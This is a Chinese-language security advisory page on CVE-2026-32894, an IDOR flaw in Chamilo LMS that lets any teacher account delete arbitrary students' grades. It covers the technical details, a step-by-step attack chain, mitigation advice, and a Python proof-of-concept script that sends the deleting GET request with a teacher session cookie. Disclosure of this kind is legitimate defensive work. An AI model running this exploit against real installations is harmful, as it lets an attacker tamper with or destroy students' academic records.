IPBUF安全漏洞报告
English
CVE-2026-32894 CVSS 7.1 高危

CVE-2026-32894 Chamilo LMS IDOR漏洞允许删除学生成绩

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-32894
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

IDOR权限越权Chamilo LMSAccess ControlWeb安全

漏洞概述

Chamilo LMS在1.11.38和2.0.0-RC.3之前的版本中存在不安全的直接对象引用(IDOR)漏洞。由于成绩簿结果视图页面未执行所有权或课程范围验证,任何拥有教师权限的攻击者都可以通过操纵GET请求中的`delete_mark`或`resultdelete`参数,删除平台上任意学生的成绩结果。此漏洞可能导致学生成绩数据被恶意篡改或丢失。

技术细节

该漏洞源于服务器端对关键业务操作缺乏细粒度的权限校验。在受影响版本的Chamilo LMS中,处理成绩删除请求的接口仅依赖GET参数(如`delete_mark`或`resultdelete`)来标识目标成绩记录。后端逻辑虽然验证了请求者是否具有“教师”角色,但未进一步验证该教师是否是目标课程的管理员,也未检查目标成绩记录是否属于该教师的管辖范围。攻击者只需经过身份认证获取教师账号,即可通过遍历或推测成绩ID,并发送包含恶意参数的GET请求。由于缺乏对象级别的访问控制(IDOR),系统会直接执行SQL删除操作,导致跨课程的成绩数据被非法删除,破坏了数据的完整性和可用性。

攻击链分析

STEP 1
1. 身份认证
攻击者注册或获取一个合法的教师账号权限,因为漏洞需要低权限的认证身份(PR:L)。
STEP 2
2. 信息收集
攻击者访问成绩簿页面,分析URL结构,确定用于删除成绩的参数名称(delete_mark 或 resultdelete)。
STEP 3
3. 参数操纵
攻击者构造恶意URL,将目标学生的成绩ID填入delete_mark或resultdelete参数中。
STEP 4
4. 发起攻击
攻击者向服务器发送经过构造的GET请求。由于服务器未验证成绩归属,直接执行删除操作。
STEP 5
5. 达成效果
目标学生的成绩记录被从数据库中删除,导致数据完整性受损(I:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-32894 PoC: IDOR in Chamilo LMS Gradebook Deletion import requests def exploit(target_url, session_cookie, grade_id): """ Exploit the IDOR vulnerability to delete a specific grade. :param target_url: Base URL of the Chamilo instance (e.g., http://localhost) :param session_cookie: Valid PHPSESSID cookie for a Teacher account :param grade_id: The ID of the grade to delete """ # The vulnerable endpoint endpoint = f"{target_url}/main/gradebook/gradebook.php" # Cookies required for authentication cookies = { "PHPSESSID": session_cookie } # Payload manipulating the 'delete_mark' parameter # 'resultdelete' might also work depending on version configuration params = { "delete_mark": grade_id, "action": "delete" # Common parameter in Chamilo flows } try: response = requests.get(endpoint, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully to delete grade ID: {grade_id}") print(f"[+] Response content snippet: {response.text[:100]}...") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage TARGET = "http://vulnerable-chamilo-site.com" TEACHER_SESSION = "valid_teacher_session_id_here" TARGET_GRADE_ID = "1234" print(f"[*] Attempting to delete grade {TARGET_GRADE_ID}...") exploit(TARGET, TEACHER_SESSION, TARGET_GRADE_ID)

影响范围

Chamilo LMS < 1.11.38
Chamilo LMS < 2.0.0-RC.3

防御指南

临时缓解措施
建议管理员立即检查教师账号权限,限制非管理员教师对成绩管理模块的访问。如无法立即升级,可部署Web应用防火墙(WAF)规则,拦截对gradebook页面的异常参数请求,并监控日志中是否存在针对delete_mark或resultdelete参数的批量调用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表